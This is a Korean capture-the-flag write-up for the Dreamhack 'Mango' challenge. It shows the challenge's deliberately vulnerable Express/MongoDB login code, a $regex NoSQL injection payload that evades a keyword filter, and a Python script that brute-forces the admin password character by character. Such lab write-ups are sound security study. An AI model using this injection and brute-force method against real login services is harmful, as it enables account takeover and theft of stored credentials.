[Dreamhack] Mango

2022. 2. 10. 22:47Dreamhack/Web Hacking

1. 문제 정보

2. 문제 파일

더보기
const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');
{
  "name": "Web-C",
  "version": "1.0.0",
  "description": "Web-C",
  "main": "main.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "express": "^4.17.1",
    "express-session": "^1.17.0",
    "mongoose": "^5.10.4"
  }
}

문제에서 제공되는 소스 코드이다.

3. 문제 풀이

더보기

이번 문제는 비관계형데이터베이스인 Mongo DB에서 admin의 비밀번호인 FLAG를 찾는 문제이다.

 

비관계형 데이터베이스란 2차원 테이블 형태로 저장하는 관계형 데이터베이스에서 용량의 한계라는 단점을 해결하기 위해 만들어진 데이터베이스이다.

Key Value  형태로 데이터를 저장한다. SQL을 사용하지 않고 데이터를 조작한다.

 

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

맨 처음 페이지에 들어가면 '/login?uid=guest&upw=guest' 문자열을 출력한다.

 

해당 문자열을 복사하여 서버에 요청을 하니 아래와 같은 값을 출력했다.

 

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

/login 페이지에 접근하면 filter 함수에서 쿼리스트링에 대해 필터링 과정을 거친다. admin, dh, admi가 들어 있으면 return true가 되어 종료된다.

필터링에 걸리지 않으면 쿼리스트링의 값들을 uid, upw에 넣는다.

소스 코드를 보면 알 수 있지만 각 인자에 대해 자료형 검증이 없어 {쿼리 연산자: 값} 형태로도 데이터를 입력할 수 있다.

쿼리 연산자는 데이터를 조회할 때 구체적으로 찾기 위해 조건을 입력하는 것을 도와주는 기호이다.

쿼리 연산자 중 $regex라는 정규식을 통해 데이터를 조회할 수 있는 연산자가 있다.

해당 연산자를 이용해 필터링을 우회하고 NoSQL Blind SQL Injection 공격을 할 수 있다.

 

uid={"$regex" : 'ad.in'}&upw={"$regex" : 'D.{[한 문자씩 입력해가며 비교]}'}

공격 구문의 위와 같다.

.은 임의의 한 문자의 자리를 뜻하는데 이를 이용해 admin, dh를 우회할 수 있다.

 

정규식을 이용해 하나 하나 FLAG값을 찾아야 하기 때문에 파이썬으로 코드를 짜서 수행하였다.

import requests
import string

url = "http://host1.dreamhack.games:{port}/login"    

query = "?uid[$regex]=ad.in&upw[$regex]="


def solve_password() :
    flag = "D.{"
    data_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + '}'
    while(True) :
        for c in data_set :
            r = requests.get(url, params={"uid[$regex]" : "ad.in", "upw[$regex]" : flag+c})
            if("admin" in r.text) :
                flag += c
                print(flag)
                if(c == '}') :
                    return

 

결과는 아래와 같다.

 

'Dreamhack > Web Hacking' 카테고리의 다른 글

[Dreamhack] IMAGE-STORAGE  (0) 2022.02.12
[Dreamhack] Command-Injection-1  (0) 2022.02.12
[Dreamhack] Simple-Sqli  (0) 2022.02.10
[Dreamhack] CSRF-2  (0) 2022.02.10
[Dreamhack] CSRF-1  (0) 2022.02.10